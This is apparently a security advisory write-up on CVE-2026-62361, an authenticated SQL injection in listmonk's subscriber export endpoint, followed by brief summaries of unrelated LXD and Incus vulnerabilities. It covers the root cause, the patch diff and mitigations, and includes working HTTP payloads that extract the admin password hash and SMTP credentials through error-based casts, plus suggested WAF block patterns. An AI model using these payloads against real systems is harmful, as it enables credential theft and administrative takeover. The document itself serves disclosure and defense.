Nov 7, 2026·11 min read·3 visits
An omission of query plan table validation in listmonk's ExportSubscribers handler allows authenticated users with SQL query permissions to query restricted database tables (such as users and settings) via error-based or blind SQL injection, and modify records due to the lack of a read-only transaction wrapper.
CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).
Listmonk is a self-hosted newsletter and mailing list manager written in Go that utilizes PostgreSQL as its backend data store. To facilitate complex segmentation of mailing lists, listmonk provides an advanced filtering feature that allows authorized operators to query subscribers using raw SQL expressions that match JSONB attributes, subscription statuses, or relational metadata. Because exposing raw SQL fragments to application users introduces an inherent risk of unauthorized data access, listmonk relies on an internal validation mechanism to restrict which database tables can be referenced within user-supplied expressions.
In listmonk versions prior to 6.2.0, an architectural inconsistency exists between the standard subscriber listing endpoint (GET /api/subscribers) and the subscriber CSV export endpoint (GET /api/subscribers/export). Both endpoints accept a user-controlled query HTTP parameter and interpolate it into a base SQL query template inside internal/core/subscribers.go. While the standard listing handler invokes validateQueryTables to parse the PostgreSQL execution plan and enforce a strict table allowlist, the export handler (ExportSubscribers) omits this validation step entirely.
This omission is classified under CWE-89 (SQL Injection) and CWE-863 (Incorrect Authorization). An authenticated user granted the subscribers:sql_query and subscribers:get_all permissions can supply arbitrary subqueries to the /api/subscribers/export endpoint to read from any table in the PostgreSQL schema. Furthermore, because the export query is prepared and executed outside of a read-only database transaction, an attacker can leverage PostgreSQL's writable Common Table Expressions (CTEs) to perform unauthorized UPDATE, INSERT, or DELETE operations against sensitive application tables.
The root cause of CVE-2026-62361 is the incomplete enforcement of listmonk's SQL query sandboxing mechanism across parallel code paths in internal/core/subscribers.go. Because listmonk intentionally allows privileged users to supply SQL WHERE clause fragments, traditional parameterized queries cannot be used to bind the dynamic filter logic itself. Instead, the application performs string substitution using strings.ReplaceAll to replace the %query% placeholder in its SQL templates with the user-supplied condition.
To prevent users from querying administrative tables via subqueries, listmonk defines a package-level allowlist map named allowedSubQueryTables. This map permits access exclusively to subscriber-related relations: subscribers, lists, subscriber_lists, campaigns, campaign_lists, campaign_views, links, link_clicks, and bounces. The enforcement function, validateQueryTables, begins a read-only transaction (sql.TxOptions{ReadOnly: true}) and executes EXPLAIN (FORMAT JSON) on the constructed SQL statement. It then recursively traverses the resulting JSON execution plan produced by the PostgreSQL query planner, inspecting every node for relation names and rejecting the query if any referenced table is absent from allowedSubQueryTables.
When processing a request to GET /api/subscribers, the QuerySubscribers method constructs the SQL statement and immediately passes it to validateQueryTables. However, in the ExportSubscribers method, the developer constructed the export statement by substituting %query% into c.q.QuerySubscribersForExport and proceeded directly to counting and preparing the query without calling validateQueryTables.
A secondary flaw compounds the missing table validation. Immediately after string interpolation, ExportSubscribers calls c.getSubscriberCount(searchStr, cond, subStatus, listIDs) to verify the query syntax and retrieve a row count inside a read-only transaction. However, once getSubscriberCount succeeds, ExportSubscribers prepares and executes the final c.q.QuerySubscribersForExport query directly on the root database pool (c.db.Preparex(stmt)) without wrapping the execution in a read-only transaction. Consequently, any query that passes or bypasses the count check is executed with the full read-write privileges of the listmonk database role.
In versions prior to 6.2.0, the SQL template QuerySubscribersForExport (defined in queries/subscribers.sql) structures the export query with a raw %query% interpolation point inside the WHERE clause:
SELECT subscribers.id, subscribers.uuid, subscribers.email, subscribers.name,
subscribers.attribs, subscribers.status, subscribers.created_at, subscribers.updated_at,
array_to_json(array_agg(lists.name)) AS lists
FROM subscribers
LEFT JOIN subscriber_lists ON (subscriber_lists.subscriber_id = subscribers.id)
LEFT JOIN lists ON (lists.id = subscriber_lists.list_id)
WHERE (subscribers.status != 'blocklisted') AND %query%
GROUP BY subscribers.id
ORDER BY subscribers.id ASC
LIMIT $6 OFFSET $2;In internal/core/subscribers.go, the vulnerable ExportSubscribers function interpolated the cond string (derived from the user's query parameter) into this template without validation:
func (c *Core) ExportSubscribers(searchStr, query string, subIDs, listIDs []int,
subStatus string, batchSize int) (func() ([]models.SubscriberExport, error), error) {
// ... [cond string preparation] ...
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
// VULNERABILITY: validateQueryTables is completely omitted here.
// Create a readonly transaction that just does COUNT() to obtain the count of results
// and to ensure that the arbitrary query is indeed readonly.
if _, err := c.getSubscriberCount(searchStr, cond, subStatus, listIDs); err != nil {
return nil, echo.NewHTTPError(http.StatusBadRequest,
c.i18n.Ts("subscribers.errorPreparingQuery", "error", err.Error()))
}
// The statement is prepared directly on c.db outside of a read-only transaction.
q, err := c.db.Preparex(stmt)
if err != nil {
return nil, echo.NewHTTPError(http.StatusInternalServerError, ...)
}Commit c0a6525009a65265230185f16e8674dcc83aa024 remediates the vulnerability by introducing three specific changes in internal/core/subscribers.go:
var (
allowedSubQueryTables = map[string]struct{}{
- "subscribers": {},
- "lists": {},
- "subscribers_lists": {},
+ "subscribers": {},
+ "lists": {},
+ "subscriber_lists": {},
"campaigns": {},
...
@@ -128,7 +128,7 @@ func (c *Core) QuerySubscribers(searchStr, queryExp string, listIDs []int, subSt
stmt = strings.ReplaceAll(stmt, "%order%", orderBy+" "+order)
// Validate the tables used in the query.
- if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
+ if err := validateQueryTables(c.db, stmt, allowedSubQueryTables, pq.Array(listIDs), subStatus, searchStr, offset, limit); err != nil {
c.log.Printf("error validating query tables: %v", err)
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
c.i18n.Ts("subscribers.errorPreparingQuery", "error", err.Error()))
@@ -248,6 +248,14 @@ func (c *Core) ExportSubscribers(searchStr, query string, subIDs, listIDs []int,
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
+ // Validate the tables used in the query.
+ if err := validateQueryTables(c.db, stmt, allowedSubQueryTables,
+ pq.Array(listIDs), 0, pq.Array(subIDs), subStatus, searchStr, batchSize); err != nil {
+ c.log.Printf("error validating query tables: %v", err)
+ return nil, echo.NewHTTPError(http.StatusBadRequest,
+ c.i18n.Ts("subscribers.errorPreparingQuery", "error", err.Error()))
+ }
+
// Create a readonly transaction that just does COUNT() to obtain the count of results
// and to ensure that the arbitrary query is indeed readonly.
if _, err := c.getSubscriberCount(searchStr, cond, subStatus, listIDs); err != nil {
@@ -593,7 +601,7 @@ func (c *Core) getSubscriberCount(searchStr, queryExp, subStatus string, listIDs
}
// validateQueryTables checks if the query accesses only allowed tables.
-func validateQueryTables(db *sqlx.DB, query string, allowedTables map[string]struct{}) error {
+func validateQueryTables(db *sqlx.DB, query string, allowedTables map[string]struct{}, args ...any) error {
// Get the EXPLAIN (FORMAT JSON) output.
tx, err := db.BeginTxx(context.Background(), &sql.TxOptions{ReadOnly: true})
if err != nil {
@@ -602,7 +610,7 @@ func validateQueryTables(db *sqlx.DB, query string, allowedTables map[string]str
defer tx.Rollback()
var plan string
- if err = tx.QueryRow("EXPLAIN (FORMAT JSON) "+query, nil, models.SubscriberStatusEnabled, "", 0, 10).Scan(&plan); err != nil {
+ if err = tx.QueryRow("EXPLAIN (FORMAT JSON) "+query, args...).Scan(&plan); err != nil {
return err
}First, the patch inserts the call to validateQueryTables in ExportSubscribers immediately after strings.ReplaceAll. Second, it refactors validateQueryTables to accept variadic arguments (args ...any) instead of relying on 5 hardcoded dummy arguments (nil, models.SubscriberStatusEnabled, "", 0, 10). This change was necessary because QuerySubscribers binds 5 positional parameters ($1 through $5), whereas QuerySubscribersForExport binds 6 positional parameters ($1 through $6); passing only 5 arguments to EXPLAIN for the export query would have resulted in a PostgreSQL parameter binding error. Third, the patch corrects a typo in allowedSubQueryTables, changing "subscribers_lists" to the actual table name "subscriber_lists".
> [!NOTE]
> Fix Completeness Assessment: While adding validateQueryTables prevents direct access to non-allowlisted tables in standard subqueries, relying on EXPLAIN (FORMAT JSON) to sanitize raw SQL fragments remains an inherently fragile architectural pattern. In PostgreSQL, built-in database functions (such as pg_read_file, large object functions, or metadata catalog functions like query_to_xml) do not appear as relation scan nodes in EXPLAIN output unless they directly expand inline during planning. Furthermore, ExportSubscribers still executes c.db.Preparex(stmt) outside of an explicit read-only transaction after the initial validation and count checks complete.
Exploiting CVE-2026-62361 requires network access to the listmonk HTTP interface (default port 9000) and a valid user session or API token with both the subscribers:sql_query and subscribers:get_all permissions. While an unprivileged or standard user cannot reach the vulnerable code path, any delegated role configured with these permissions can escalate privileges to Super Admin and extract all database secrets.
When a user submits a restricted subquery to the properly validated /api/subscribers endpoint, the EXPLAIN parser blocks the request:
GET /api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL HTTP/1.1
Host: target:9000
Cookie: session=<SESSION_TOKEN>{"message":"Error preparing subscriber query: table 'users' is not allowed"}By changing the target endpoint to /api/subscribers/export, the identical payload executes without restriction and returns a 200 OK CSV stream. Because the injected expression is positioned inside a WHERE clause, the most direct method for data exfiltration is error-based SQL injection. In PostgreSQL, explicitly casting a non-numeric string to an integer forces a runtime type conversion error (pq: invalid input syntax for type integer), and the database driver reflects the offending string literal inside the HTTP error response.
An attacker can extract the Super Admin bcrypt password hash from the users table with a single HTTP request:
GET /api/subscribers/export?query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0 HTTP/1.1
Host: target:9000
Cookie: session=<SESSION_TOKEN>The server responds with HTTP 400/500 and leaks the hash in the JSON body:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}Similarly, the attacker can extract external infrastructure credentials—such as SMTP passwords, AWS SES keys, and S3 bucket tokens—stored as JSON blobs in the settings table:
GET /api/subscribers/export?query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0 HTTP/1.1
Host: target:9000
Cookie: session=<SESSION_TOKEN>{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"SuperSecretPassword\", \"username\": \"smtp_admin\"}]\""
}In environments where error messages are suppressed by an upstream reverse proxy, boolean-based or time-based blind extraction remains viable using functions like pg_sleep(3). Additionally, if an attacker crafts a query that evaluates cleanly during the read-only getSubscriberCount check or targets execution differences, the lack of a read-only transaction wrapper around the final Preparex execution path exposes the database to writable CTEs (WITH ... UPDATE).
CVE-2026-62361 carries a CVSS v3.1 base score of 5.5 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N). The High Privileges Required (PR:H) metric reflects that exploitation is restricted to authenticated accounts explicitly provisioned with the subscribers:sql_query and subscribers:get_all permissions. However, in multi-user listmonk deployments where marketing operators or data analysts are granted SQL filtering capabilities without full administrative privileges, this vulnerability completely breaks role-based access control (RBAC) boundaries.
The Confidentiality Impact is High (C:H). Attackers gain read access to every table in the PostgreSQL database to which the listmonk database user has access. Extracting the users table exposes administrative password hashes (historically generated using a low bcrypt cost factor of 6 in listmonk, making them susceptible to rapid offline cracking) as well as active session or API tokens. Extracting the settings table exposes plaintext SMTP relay credentials, cloud storage keys, and bounce mailbox passwords.
The Integrity Impact is rated Low (I:L). While the getSubscriberCount pre-check runs in a read-only transaction and rejects unconditional writable CTEs before Preparex is reached, the absence of a read-only transaction on the export query itself weakens defense-in-depth. Furthermore, once an attacker cracks an exfiltrated Super Admin bcrypt hash or steals an administrative API token from the database, they achieve full administrative takeover of the listmonk instance.
According to FIRST EPSS metrics, CVE-2026-62361 has an EPSS score of 0.00297 (22.45th percentile), indicating a low probability of mass opportunistic exploitation across the internet due to the authentication prerequisite. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
Administrators operating listmonk should upgrade to version 6.2.0 or later, which incorporates commit c0a6525009a65265230185f16e8674dcc83aa024. Version 6.2.0 enforces validateQueryTables on the /api/subscribers/export endpoint, ensuring that user-supplied filter expressions cannot reference tables outside the allowedSubQueryTables allowlist.
If an immediate upgrade to version 6.2.0 is not feasible, administrators should audit all configured user roles within listmonk and revoke the subscribers:sql_query permission from any non-Super Admin accounts. Removing this permission prevents users from submitting raw SQL expressions to either the /api/subscribers or /api/subscribers/export endpoints, neutralizing the attack vector entirely.
As an additional layer of defense, organizations can deploy Web Application Firewall (WAF) or reverse proxy rules inspecting requests to /api/subscribers/export. Rules should block requests where the query parameter contains subqueries (SELECT, FROM), explicit type casts (CAST(, ::), or references to restricted table names (users, settings). Finally, database administrators should ensure that the PostgreSQL role used by listmonk follows the principle of least privilege and does not possess PostgreSQL superuser attributes (NOSUPERUSER, NOCREATEDB, NOCREATEROLE).
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
listmonk knadh | < 6.2.0 | 6.2.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) |
| Weakness Class | CWE-89 (SQL Injection) / Table Allowlist Bypass |
| CVSS v3.1 Score | 5.5 Medium (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N) |
| Affected Component | ExportSubscribers in internal/core/subscribers.go (GET /api/subscribers/export) |
| Prerequisites | Authenticated user with subscribers:sql_query and subscribers:get_all permissions |
| Primary Impact | Exfiltration of admin password hashes (users table) and SMTP/API credentials (settings table) |
| Exploit Status | Public Proof-of-Concept (PoC) available; EPSS 0.30% |
| Patched Version | listmonk v6.2.0 |
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.
Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.
CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.
GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.
A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.
CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.